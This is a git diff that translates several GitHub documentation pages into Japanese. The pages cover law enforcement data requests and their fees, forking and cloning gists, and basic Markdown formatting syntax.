-  - Communications or documentation (such as Issues or Wikis) in private repositories
-  - Any security keys used for authentication or encryption
+  - シークレット Gist のコンテンツ
+  - プライベートリポジトリのソースコードまたはその他のコンテンツ
+  - プライベートリポジトリのコントリビューションとコラボレーションの記録
+  - プライベートリポジトリのコミュニケーションまたはドキュメント（Issue や Wiki など）
+  - 認証または暗号化に使用されるセキュリティキー
 
 - <a name="in-exigent-circumstances"></a>
-**Under exigent circumstances** —
-If we receive a request for information under certain exigent circumstances (where we believe the disclosure is necessary to prevent an emergency involving danger of death or serious physical injury to a person), we may disclose limited information that we determine necessary to enable law enforcement to address the emergency. For any information beyond that, we would require a subpoena, search warrant, or court order, as described above. For example, we will not disclose contents of private repositories without a search warrant. Before disclosing information, we confirm that the request came from a law enforcement agency, an authority sent an official notice summarizing the emergency, and how the information requested will assist in addressing the emergency.
+**緊急事態** — 特定の緊急事態において情報の要求を受け取った場合（人の死亡または重傷の危険を伴う緊急事態を防ぐために開示が必要であると考える場合）、当社は、法執行機関が緊急事態に対処するために必要だと当社が判断する限られた情報を開示する場合があります。 その範囲を超える情報については、上記のとおり、当社は召喚状、捜査令状、または裁判所命令を求めます。 たとえば、私たちは、捜査令状なしにプライベートリポジトリのコンテンツを開示しません。 当社は、情報を開示する前に、要求が法執行機関からのものであること、当局が緊急事態を要約した公式通知を送付したこと、および要求された情報が緊急事態の対応にどのように役立つかを確認します。
 
-## Cost reimbursement
+## 費用の払い戻し
 
-Under state and federal law, GitHub can seek reimbursement for costs associated with compliance with a valid legal demand, such as a subpoena, court order or search warrant. We only charge to recover some costs, and these reimbursements cover only a portion of the costs we actually incur to comply with legal orders.
+州法および連邦法のもと、GitHubは召喚令状、裁判所の命令、捜索令状などの有効な法的要求を順守することに関する費用の払い戻しを求めることができます。 当社は費用の一部を回収するためにのみ請求を行います。この払い戻しは、当社が法的命令を順守するために負担する費用の一部を補うものに過ぎません。
 
-While we do not charge in emergency situations or in other exigent circumstances, we seek reimbursement for all other legal requests in accordance with the following schedule, unless otherwise required by law:
+緊急事態やその他差し迫った状況においては請求を行いませんが、その他の法的要求については、別途法的に求められていない限り、以下の明細に従って払い戻しを求めます。
 
-- Initial search of up to 25 identifiers: Free
-- Production of subscriber information/data for up to 5 accounts: Free
-- Production of subscriber information/data for more than 5 accounts: $20 per account
-- Secondary searches: $10 per search
+- 25 個までの識別子の初期調査: 無料
+- 5 アカウントまでの加入者情報/データの提供: 無料
+- 5 アカウントを超える加入者情報/データの提供: 1 アカウントあたり 20 ドル
+- 二次調査: 1 件につき 10 ドル
 
-## Data preservation
+## データ保存
 
-We will take steps to preserve account records for up to 90 days upon formal request from U.S. law enforcement in connection with official criminal investigations, and pending the issuance of a court order or other process.
+正式な犯罪捜査に関連する米国の 法執行機関から正式な要求があり、裁判所命令の発行またはその他の手続きが保留されている間、当社はアカウントの記録を最大 90 日間保存する措置を講じます。
 
-## Submitting requests
+## 要求の提出
 
-Please serve requests to:
+要求は以下までお送りください。
 
 ```
-GitHub, Inc.
-c/o Corporation Service Company
+GitHub, Inc. c/o Corporation Service Company
 2710 Gateway Oaks Drive, Suite 150N
 Sacramento, CA 95833-3505
 ```
 
-Courtesy copies may be emailed to legal@support.github.com.
+legal@support.github.com に CC を送信することもできます。
 
-Please make your requests as specific and narrow as possible, including the following information:
+要求を送る際は、次の情報を含めて、できるだけ具体的かつ範囲を絞った内容にしてください。
 
-- Full information about authority issuing the request for information
-- The name and badge/ID of the responsible agent
-- An official email address and contact phone number
-- The user, organization, repository name(s) of interest
-- The URLs of any pages, gists or files of interest
-- The description of the types of records you need
+- 情報の要求を発行する機関に関する完全な情報
+- 担当者の名前とバッジ/ID
+- 正式なメールアドレスと連絡先電話番号
+- 対象のユーザ、Organization、リポジトリ名
+- 対象のページ、Gist、またはファイルの URL
+- 必要な記録の種類の説明
 
-Please allow at least two weeks for us to be able to look into your request.
+要求の確認には 2 週間以上の時間が必要になりますのでご了承ください。
 
-## Requests from foreign law enforcement
+## 外国の法執行機関からの要求
 
-As a United States company based in California, GitHub is not required to provide data to foreign governments in response to legal process issued by foreign authorities.
-Foreign law enforcement officials wishing to request information from GitHub should contact the United States Department of Justice Criminal Division's Office of International Affairs.
-GitHub will promptly respond to requests that are issued via U.S. court by way of a mutual legal assistance treaty (“MLAT”) or letter rogatory.
+カリフォルニア州に本拠を置く米国企業である GitHub には、外国当局が発行した法的手続きに応じて、外国政府にデータを提供する義務はありません。 GitHub に情報を要求する外国の法執行官は、米司法省刑事局の国際部に連絡する必要があります。 GitHub は、刑事共助条約（「MLAT」）または証人尋問要求書を経由して、米国の裁判所を介して発行された要求に迅速に対応します。
 
-## Questions
+## 質問
 
-Do you have other questions, comments or suggestions? Please contact {% data variables.contact.contact_support %}.
+質問やコメント、提案などがございましたら、 {% data variables.contact.contact_support %} にお問い合わせください。
diff --git a/translations/ja-JP/content/github/site-policy/index.md b/translations/ja-JP/content/github/site-policy/index.md
index 1496ee8035..e4d427e45a 100644
--- a/translations/ja-JP/content/github/site-policy/index.md
+++ b/translations/ja-JP/content/github/site-policy/index.md
@@ -1,5 +1,5 @@
 ---
-title: Site policy
+title: サイトポリシー
 redirect_from:
   - /categories/61/articles
   - /categories/site-policy
diff --git a/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md b/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
index 21c3bd883f..0c6f5271c8 100644
--- a/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
+++ b/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
@@ -1,6 +1,6 @@
 ---
-title: Forking and cloning gists
-intro: 'Gists are actually Git repositories, which means that you can fork or clone any gist, even if you aren''t the original author. You can also view a gist''s full commit history, including diffs.'
+title: Gistのフォークとクローン
+intro: Gists は Git リポジトリです。つまり、オリジナルの作者でなくても Gist をフォークしたりクローンしたりできます。 diff など、Gist の完全なコミット履歴を見ることもできます。
 permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}'
 redirect_from:
   - /articles/forking-and-cloning-gists
@@ -11,24 +11,25 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-## Forking gists
 
-Each gist indicates which forks have activity, making it easy to find interesting changes from others.
+## Gist をフォークする
 
-![Gist forks](/assets/images/help/gist/gist_forks.png)
+各 Gist はどのフォークにアクティビティがあるのかを示すため、他のユーザによる興味深い変更を簡単に確認できます。
 
-## Cloning gists
+![Gist フォーク](/assets/images/help/gist/gist_forks.png)
 
-If you want to make local changes to a gist and push them up to the web, you can clone a gist and make commits the same as you would with any Git repository. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+## Gist をクローンする
 
-![Gist clone button](/assets/images/help/gist/gist_clone_btn.png)
+Gist にローカルの変更を加え、ウェブにプッシュしたい場合は、Gist をクローンして Git リポジトリと同様にコミットを行えます。 詳しい情報については[リポジトリのクローン](/articles/cloning-a-repository)を参照してください。
 
-## Viewing gist commit history
+![Gist クローンボタン](/assets/images/help/gist/gist_clone_btn.png)
+
+## Gist のコミットの履歴を見る
 
 To view a gist's full commit history, click the "Revisions" tab at the top of the gist.
 
-![Gist revisions tab](/assets/images/help/gist/gist_revisions_tab.png)
+![Gist [revisions] タブ](/assets/images/help/gist/gist_revisions_tab.png)
 
-You will see a full commit history for the gist with diffs.
+Gist の完全なコミットの履歴が diff とともに表示されます。
 
-![Gist revisions page](/assets/images/help/gist/gist_history.png)
+![Gist [revisions] ページ](/assets/images/help/gist/gist_history.png)
diff --git a/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md b/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md
index cbc1fe7c11..2cc71b9eb7 100644
--- a/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md
+++ b/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md
@@ -1,5 +1,5 @@
 ---
-title: Editing and sharing content with gists
+title: Gist でコンテンツを編集・共有する
 intro: ''
 redirect_from:
   - /categories/23/articles
diff --git a/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md b/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
index f9a0195100..0e02e86edf 100644
--- a/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
+++ b/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: About writing and formatting on GitHub
-intro: GitHub combines a syntax for formatting text called GitHub Flavored Markdown with a few unique writing features.
+title: GitHub 上での執筆とフォーマットについて
+intro: GitHubは、GitHub Flavored Markdown と呼ばれるテキストフォーマットの構文を、いくつかのユニークな執筆用の機能と組み合わせています。
 redirect_from:
   - /articles/about-writing-and-formatting-on-github
   - /github/writing-on-github/about-writing-and-formatting-on-github
@@ -11,34 +11,34 @@ versions:
   ghec: '*'
 shortTitle: Write & format on GitHub
 ---
-[Markdown](http://daringfireball.net/projects/markdown/) is an easy-to-read, easy-to-write syntax for formatting plain text.
 
-We've added some custom functionality to create {% data variables.product.prodname_dotcom %} Flavored Markdown, used to format prose and code across our site.
+[Markdown](http://daringfireball.net/projects/markdown/) は、プレーンテキストをフォーマットするための読みやすく書きやすい構文です。
 
-You can also interact with other users in pull requests and issues using features like [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), [issue and PR references](/articles/basic-writing-and-formatting-syntax/#referencing-issues-and-pull-requests), and [emoji](/articles/basic-writing-and-formatting-syntax/#using-emoji).
+サイトで文章とコードをフォーマットするのに使われる {% data variables.product.prodname_dotcom %}Flavored Markdown を作り出すために、弊社ではカスタムの機能をいくつか追加しました。
 
-## Text formatting toolbar
+また、[@メンション](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)、[Issue や PR の参照](/articles/basic-writing-and-formatting-syntax/#referencing-issues-and-pull-requests)、[絵文字](/articles/basic-writing-and-formatting-syntax/#using-emoji)などの機能を使って、プルリクエストや Issue で他のユーザーとやりとりできます。
 
-Every comment field on {% data variables.product.product_name %} contains a text formatting toolbar, allowing you to format your text without learning Markdown syntax. In addition to Markdown formatting like bold and italic styles and creating headers, links, and lists, the toolbar includes {% data variables.product.product_name %}-specific features such as @mentions, task lists, and links to issues and pull requests.
+## テキストフォーマット用のツールバー
+
+{% data variables.product.product_name %}のすべてのコメントフィールドには、テキストフォーマット用のツールバーが含まれており、Markdown の構文を学ばなくてもテキストをフォーマットできます。 太字や斜体といったスタイルなどの Markdown のフォーマットやヘッダ、リンク、リストの作成といったことに加えて、このツールバーには @メンション、タスクリスト、Issue およびプルリクエストへのリンクといった {% data variables.product.product_name %}固有の機能があります。
 
 {% if fixed-width-font-gfm-fields %}
 
 ## Enabling fixed-width fonts in the editor
- 
+
 You can enable a fixed-width font in every comment field on {% data variables.product.product_name %}. Each character in a fixed-width, or monospace, font occupies the same horizontal space which can make it easier to edit advanced Markdown structures such as tables and code snippets.
 
 ![Screenshot showing the {% data variables.product.product_name %} comment field with fixed-width fonts enabled](/assets/images/help/writing/fixed-width-example.png)
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.appearance-settings %}
-1. Under "Markdown editor font preference", select **Use a fixed-width (monospace) font when editing Markdown**.
-  ![Screenshot showing the {% data variables.product.product_name %} comment field with fixed width fonts enabled](/assets/images/help/writing/enable-fixed-width.png)
+1. Under "Markdown editor font preference", select **Use a fixed-width (monospace) font when editing Markdown**. ![Screenshot showing the {% data variables.product.product_name %} comment field with fixed width fonts enabled](/assets/images/help/writing/enable-fixed-width.png)
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
-- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)"
-- "[Working with advanced formatting](/articles/working-with-advanced-formatting)"
-- "[Mastering Markdown](https://guides.github.com/features/mastering-markdown/)"
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown の仕様](https://github.github.com/gfm/)
+- [基本的な書き方とフォーマットの構文](/articles/basic-writing-and-formatting-syntax)
+- [高度なフォーマットを使用して作業する](/articles/working-with-advanced-formatting)
+- [Markdown をマスターする](https://guides.github.com/features/mastering-markdown/)
diff --git a/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md b/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
index f3c22ea38e..692b51ad5e 100644
--- a/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
+++ b/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
@@ -1,6 +1,6 @@
 ---
-title: Basic writing and formatting syntax
-intro: Create sophisticated formatting for your prose and code on GitHub with simple syntax.
+title: 基本的な書き方とフォーマットの構文
+intro: シンプルな構文を使い、GitHub 上で文章やコードに洗練されたフォーマットを作り出してください。
 redirect_from:
   - /articles/basic-writing-and-formatting-syntax
   - /github/writing-on-github/basic-writing-and-formatting-syntax
@@ -11,33 +11,34 @@ versions:
   ghec: '*'
 shortTitle: Basic formatting syntax
 ---
-## Headings
 
-To create a heading, add one to six `#` symbols before your heading text. The number of `#` you use will determine the size of the heading.
+## ヘッディング
+
+ヘッディングを作成するには、1 つから 6 つの `#` シンボルをヘッディングのテキストの前に追加します。 使用する `#` の数によって、ヘッディングのサイズが決まります。
 
 ```markdown
-# The largest heading
-## The second largest heading
-###### The smallest heading
+# The largest heading (最大のヘッディング)
+## The second largest heading (2番目に大きなヘッディング)
+###### The smallest heading (最も小さいヘッディング)
 ```
 
-![Rendered H1, H2, and H6 headings](/assets/images/help/writing/headings-rendered.png)
+![表示された H1、H2、H6 のヘッディング](/assets/images/help/writing/headings-rendered.png)
 
-## Styling text
+## スタイル付きテキスト
 
-You can indicate emphasis with bold, italic, or strikethrough text in comment fields and `.md` files.  
+コメントフィールドと `.md` ファイルでは、太字、斜体、または取り消し線のテキストで強調を示すことができます。
 
-| Style | Syntax | Keyboard shortcut | Example | Output |
-| --- | --- | --- | --- | --- |
-| Bold | `** **` or `__ __`| command/control + b | `**This is bold text**` | **This is bold text** |
-| Italic | `* *` or `_ _`     | command/control + i | `*This text is italicized*` | *This text is italicized* |
-| Strikethrough | `~~ ~~` | | `~~This was mistaken text~~` | ~~This was mistaken text~~ |
-| Bold and nested italic | `** **` and `_ _` | | `**This text is _extremely_ important**` | **This text is _extremely_ important** |
-| All bold and italic | `*** ***` | | `***All this text is important***` | ***All this text is important*** |
+| スタイル          | 構文                  | キーボードショートカット        | サンプル                      | 出力                      |
+| ------------- | ------------------- | ------------------- | ------------------------- | ----------------------- |
+| 太字            | `** **`もしくは`__ __`  | command/control + b | `**これは太字のテキストです**`        | **これは太字のテキストです**        |
+| 斜体            | `* *`あるいは`_ _`      | command/control + i | `*このテキストは斜体です*`           | *このテキストは斜体です*           |
+| 取り消し線         | `~~ ~~`             |                     | `~~これは間違ったテキストでした~~`      | ~~これは間違ったテキストでした~~      |
+| 太字および太字中にある斜体 | `** **`及び`_ _`      |                     | `**このテキストは_きわめて_ 重要です**`  | **このテキストは_きわめて_重要です**   |
+| 全体が太字かつ斜体     | `*** ***`           |                     | `***すべてのテキストがきわめて重要です***` | ***すべてのテキストがきわめて重要です*** |
 
-## Quoting text
+## テキストの引用
 
-You can quote text with a `>`.
+テキストは`>`で引用できます。
 
 ```markdown
 Text that is not a quote
@@ -45,28 +46,28 @@ Text that is not a quote
 > Text that is a quote
 ```
 
-![Rendered quoted text](/assets/images/help/writing/quoted-text-rendered.png)
+![表示された引用テキスト](/assets/images/help/writing/quoted-text-rendered.png)
 
 {% tip %}
 
-**Tip:** When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing `r`. You can quote an entire comment by clicking {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then **Quote reply**. For more information about keyboard shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts/)."
+**ヒント:** 会話を見る場合、コメントをハイライトして `r` と入力することで、コメント中のテキストを自動的に引用できます。 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} に続いて [** Quote reply**] をクリックすれば、コメント全体を引用できます。 キーボードショートカットに関する詳しい情報については、「[キーボードショートカット](/articles/keyboard-shortcuts/)」を参照してください。
 
 {% endtip %}
 
-## Quoting code
+## コードの引用
 
-You can call out code or a command within a sentence with single backticks. The text within the backticks will not be formatted.{% ifversion fpt or ghae or ghes > 3.1 or ghec %} You can also press the `command` or `Ctrl` + `e` keyboard shortcut to insert the backticks for a code block within a line of Markdown.{% endif %}
+単一のバッククォートで文章内のコードやコマンドを引用できます。 The text within the backticks will not be formatted.{% ifversion fpt or ghae or ghes > 3.1 or ghec %} You can also press the `command` or `Ctrl` + `e` keyboard shortcut to insert the backticks for a code block within a line of Markdown.{% endif %}
 
 ```markdown
-Use `git status` to list all new or modified files that haven't yet been committed.
+コミットされていない新しいもしくは修正されたすべてのファイルをリストするには `git status` を使ってください。
 ```
 
-![Rendered inline code block](/assets/images/help/writing/inline-code-rendered.png)
+![表示されたインラインのコードブロック](/assets/images/help/writing/inline-code-rendered.png)
 
-To format code or text into its own distinct block, use triple backticks.
+独立したブロック内にコードあるいはテキストをフォーマットするには、3 重のバッククォートを使用します。
 
 <pre>
-Some basic Git commands are:
+いくつかの基本的な Git コマンド:
 ```
 git status
 git add
@@ -74,31 +75,31 @@ git commit
 ```
 </pre>
 
-![Rendered code block](/assets/images/help/writing/code-block-rendered.png)
+![表示されたコードブロック](/assets/images/help/writing/code-block-rendered.png)
 
-For more information, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)."
+詳しい情報については[コードブロックの作成とハイライト](/articles/creating-and-highlighting-code-blocks)を参照してください。
 
 {% data reusables.user_settings.enabling-fixed-width-fonts %}
 
-## Links
+## リンク
 
-You can create an inline link by wrapping link text in brackets `[ ]`, and then wrapping the URL in parentheses `( )`. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also use the keyboard shortcut `command + k` to create a link.{% endif %}{% ifversion fpt or ghae-issue-5434 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %}
+リンクのテキストをブラケット `[ ]` で囲み、URL をカッコ `( )` で囲めば、インラインのリンクを作成できます。 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also use the keyboard shortcut `command + k` to create a link.{% endif %}{% ifversion fpt or ghae-issue-5434 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %}
 
-`This site was built using [GitHub Pages](https://pages.github.com/).`
+`このサイトは [GitHub Pages](https://pages.github.com/) を使って構築されています。`
 
-![Rendered link](/assets/images/help/writing/link-rendered.png)
+![表示されたリンク](/assets/images/help/writing/link-rendered.png)
 
 {% tip %}
 
-**Tip:** {% data variables.product.product_name %} automatically creates links when valid URLs are written in a comment. For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)."
+**ヒント:** {% data variables.product.product_name %}は、コメント中に適正な URL が書かれていれば自動的にリンクを生成します。 詳しい情報については[自動リンクされた参照と URL](/articles/autolinked-references-and-urls) を参照してください。
 
 {% endtip %}
 
-## Section links
+## セクションリンク
 
 {% data reusables.repositories.section-links %}
 
-## Relative links
+## 相対リンク
 
 {% data reusables.repositories.relative-links %}
 
@@ -114,18 +115,18 @@ You can display an image by adding `!` and wrapping the alt text in`[ ]`. Then w
 
 {% tip %}
 
-**Tip:** When you want to display an image which is in your repository, you should use relative links instead of absolute links. 
+**Tip:** When you want to display an image which is in your repository, you should use relative links instead of absolute links.
 
 {% endtip %}
 
 Here are some examples for using relative links to display an image.
 
-| Context | Relative Link |
-| ------ | -------- |
-| In a `.md` file on the same branch | `/assets/images/electrocat.png` |
-| In a `.md` file on another branch | `/../main/assets/images/electrocat.png` |
-| In issues, pull requests and comments of the repository | `../blob/main/assets/images/electrocat.png` |
-| In a `.md` file in another repository | `/../../../../github/docs/blob/main/assets/images/electrocat.png` |
+| コンテキスト                                                      | Relative Link                                                          |
+| ----------------------------------------------------------- | ---------------------------------------------------------------------- |
+| In a `.md` file on the same branch                          | `/assets/images/electrocat.png`                                        |
+| In a `.md` file on another branch                           | `/../main/assets/images/electrocat.png`                                |
+| In issues, pull requests and comments of the repository     | `../blob/main/assets/images/electrocat.png`                            |
+| In a `.md` file in another repository                       | `/../../../../github/docs/blob/main/assets/images/electrocat.png`      |
 | In issues, pull requests and comments of another repository | `../../../github/docs/blob/main/assets/images/electrocat.png?raw=true` |
 
 {% note %}
@@ -143,15 +144,15 @@ You can specify the theme an image is displayed to by appending `#gh-dark-mode-o
 
 We distinguish between light and dark color modes, so there are two options available. You can use these options to display images optimized for dark or light backgrounds. This is particularly helpful for transparent PNG images.
 
-| Context | URL |
-|--------|--------|
-| Dark Theme | `![GitHub Light](https://github.com/github-light.png#gh-dark-mode-only)` |
-| Light Theme | `![GitHub Dark](https://github.com/github-dark.png#gh-light-mode-only)` |
+| コンテキスト      | URL                                                                      |
+| ----------- | ------------------------------------------------------------------------ |
+| Dark Theme  | `![GitHub Light](https://github.com/github-light.png#gh-dark-mode-only)` |
+| Light Theme | `![GitHub Dark](https://github.com/github-dark.png#gh-light-mode-only)`  |
 {% endif %}
 
-## Lists
+## リスト
 
-You can make an unordered list by preceding one or more lines of text with `-` or `*`.
+1 つ以上の行の前に `-` または `*` を置くことで、順序なしリストを作成できます。
 
 ```markdown
 - George Washington
@@ -159,9 +160,9 @@ You can make an unordered list by preceding one or more lines of text with `-` o
 - Thomas Jefferson
 ```
 
-![Rendered unordered list](/assets/images/help/writing/unordered-list-rendered.png)
+![表示された順序なしリスト](/assets/images/help/writing/unordered-list-rendered.png)
 
-To order your list, precede each line with a number.
+リストを順序付けするには、各行の前に数字を置きます。
 
 ```markdown
 1. James Madison
@@ -169,113 +170,113 @@ To order your list, precede each line with a number.
 3. John Quincy Adams
 ```
 
-![Rendered ordered list](/assets/images/help/writing/ordered-list-rendered.png)
+![表示された順序付きリスト](/assets/images/help/writing/ordered-list-rendered.png)
 
-### Nested Lists
+### 入れ子になったリスト
 
-You can create a nested list by indenting one or more list items below another item.
+1 つ以上のリストアイテムを他のアイテムの下にインデントすることで、入れ子になったリストを作成できます。
 
-To create a nested list using the web editor on {% data variables.product.product_name %} or a text editor that uses a monospaced font, like [Atom](https://atom.io/), you can align your list visually. Type space characters in front of your nested list item, until the list marker character (`-` or `*`) lies directly below the first character of the text in the item above it.
+{% data variables.product.product_name %}上の Web のエディタあるいは [Atom](https://atom.io/) のようなモノスペースフォントを使うテキストエディタを使って入れ子になったリストを作成するには、リストが揃って見えるように編集します。 入れ子になったリストアイテムの前に空白を、リストマーカーの文字 (`-` または `*`) が直接上位のアイテム内のテキストの一文字目の下に来るように入力してください。
 
 ```markdown
-1. First list item
-   - First nested list item
-     - Second nested list item
+1. 最初のリストアイテム
+   - 最初の入れ子になったリストアイテム
+     - 2 番目の入れ子になったリストアイテム
 ```
 
-![Nested list with alignment highlighted](/assets/images/help/writing/nested-list-alignment.png)
+![並びがハイライトされた入れ子になったリスト](/assets/images/help/writing/nested-list-alignment.png)
 
-![List with two levels of nested items](/assets/images/help/writing/nested-list-example-1.png)
+![2 レベルの入れ子になったアイテムを持つリスト](/assets/images/help/writing/nested-list-example-1.png)
 
-To create a nested list in the comment editor on {% data variables.product.product_name %}, which doesn't use a monospaced font, you can look at the list item immediately above the nested list and count the number of characters that appear before the content of the item. Then type that number of space characters in front of the nested list item.
+モノスペースフォントを使っていない {% data variables.product.product_name %}のコメントエディタで入れ子になったリストを作成するには、入れ子になったリストのすぐ上にあるリストアイテムを見て、そのアイテムの内容の前にある文字数を数えます。 そして、その数だけ空白を入れ子になったリストアイテムの前に入力します。
 
-In this example, you could add a nested list item under the list item `100. First list item` by indenting the nested list item a minimum of five spaces, since there are five characters (`100. `) before `First list item`.
+この例では、入れ子になったリストアイテムをリストアイテム `100. 最初のリストアイテム` の下に、最低 5 つの空白で入れ子になったリストアイテムをインデントさせることで追加できます。これは、`最初のリストアイテム`の前に 5 文字 (`100. `) があるからです。
 
 ```markdown
-100. First list item
-     - First nested list item
+100. 最初のリストアイテム
+     - 最初の入れ子になったリストアイテム
 ```
 
-![List with a nested list item](/assets/images/help/writing/nested-list-example-3.png)   
+![入れ子になったリストアイテムを持つリスト](/assets/images/help/writing/nested-list-example-3.png)
 
-You can create multiple levels of nested lists using the same method. For example, because the first nested list item has seven characters (`␣␣␣␣␣-␣`) before the nested list content `First nested list item`, you would need to indent the second nested list item by seven spaces.
+同じ方法で、複数レベルの入れ子になったリストを作成できます。 For example, because the first nested list item has seven characters (`␣␣␣␣␣-␣`) before the nested list content `First nested list item`, you would need to indent the second nested list item by seven spaces.
 
 ```markdown
-100. First list item
-     - First nested list item
-       - Second nested list item
+100. 最初のリストアイテム
+     - 最初の入れ子になったリストアイテム
+       - 2 番目の入れ子になったリストアイテム
 ```
 
-![List with two levels of nested items](/assets/images/help/writing/nested-list-example-2.png)    
+![2 レベルの入れ子になったアイテムを持つリスト](/assets/images/help/writing/nested-list-example-2.png)
 
-For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265).
+[GitHub Flavored Markdown の仕様](https://github.github.com/gfm/#example-265)には、もっと多くのサンプルがあります。
 
-## Task lists
+## タスクリスト
 
 {% data reusables.repositories.task-list-markdown %}
 
-If a task list item description begins with a parenthesis, you'll need to escape it with `\`:
+タスクリストアイテムの説明がカッコから始まるのであれば、`\` でエスケープしなければなりません。
 
-`- [ ] \(Optional) Open a followup issue`
+`- [ ] \(オプション) フォローアップの Issue のオープン`
 
-For more information, see "[About task lists](/articles/about-task-lists)."
+詳しい情報については[タスクリストについて](/articles/about-task-lists)を参照してください。
 
-## Mentioning people and teams
+## 人や Team のメンション
 
-You can mention a person or [team](/articles/setting-up-teams/) on {% data variables.product.product_name %} by typing `@` plus their username or team name. This will trigger a notification and bring their attention to the conversation. People will also receive a notification if you edit a comment to mention their username or team name. For more information about notifications, see {% ifversion fpt or ghes or ghae or ghec %}"[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[About notifications](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}."
+{% data variables.product.product_name %}上の人あるいは [Team](/articles/setting-up-teams/) は、`@` に加えてユーザ名もしくは Team 名を入力することでメンションできます。 これにより通知がトリガーされ、会話に注意が向けられます。 コメントを編集してユーザ名や Team 名をメンションすれば、人々に通知を受信してもらえます。 通知の詳細は、{% ifversion fpt or ghes or ghae or ghec %}「[通知について](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}「[通知について](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}」を参照してください。
 
-`@github/support What do you think about these updates?`
+`@github/support これらのアップデートについてどう思いますか？`
 
-![Rendered @mention](/assets/images/help/writing/mention-rendered.png)
+![表示された @メンション](/assets/images/help/writing/mention-rendered.png)
 
-When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see "[About teams](/articles/about-teams)."
+親チームにメンションすると、その子チームのメンバーも通知を受けることになり、複数のグループの人々とのコミュニケーションがシンプルになります。 詳しい情報については[Team について](/articles/about-teams)を参照してください。
 
-Typing an `@` symbol will bring up a list of people or teams on a project. The list filters as you type, so once you find the name of the person or team you are looking for, you can use the arrow keys to select it and press either tab or enter to complete the name. For teams, enter the @organization/team-name and all members of that team will get subscribed to the conversation.
+`@` シンボルを入力すると、プロジェクト上の人々あるいは Team のリストが現れます。 このリストは入力していくにつれて絞り込まれていくので、探している人あるいは Team の名前が見つかり次第、矢印キーを使ってその名前を選択し、Tab キーまたは Enter キーを押して名前の入力を完了できます。 Team については、@organization/team-name と入力すればそのチームの全メンバーにその会話をサブスクライブしてもらえます。
 
-The autocomplete results are restricted to repository collaborators and any other participants on the thread.
+オートコンプリートの結果は、リポジトリのコラボレータとそのスレッドのその他の参加者に限定されます。
 
-## Referencing issues and pull requests
+## Issue およびプルリクエストの参照
 
-You can bring up a list of suggested issues and pull requests within the repository by typing `#`. Type the issue or pull request number or title to filter the list, and then press either tab or enter to complete the highlighted result.
+`#` を入力して、リポジトリ内のサジェストされた Issue およびプルリクエストのリストを表示させることができます。 Issue あるいはプルリクエストの番号あるいはタイトルを入力してリストをフィルタリングし、Tab キーまたは Enter キーを押して、ハイライトされた結果の入力を完了してください。
 
-For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)."
+詳しい情報については[自動リンクされた参照と URL](/articles/autolinked-references-and-urls) を参照してください。
 
-## Referencing external resources
+## 外部リソースの参照
 
 {% data reusables.repositories.autolink-references %}
 
 {% ifversion ghes < 3.4 %}
-## Content attachments
+## コンテンツの添付
 
-Some {% data variables.product.prodname_github_apps %} provide information in {% data variables.product.product_name %} for URLs that link to their registered domains. {% data variables.product.product_name %} renders the information provided by the app under the URL in the body or comment of an issue or pull request.
+Some {% data variables.product.prodname_github_apps %} provide information in {% data variables.product.product_name %} for URLs that link to their registered domains. {% data variables.product.product_name %} は、アプリケーションが提供した情報を Issue あるいはプルリクエストのボディもしくはコメント中の URL の下に表示します。
 
-![Content attachment](/assets/images/github-apps/content_reference_attachment.png)
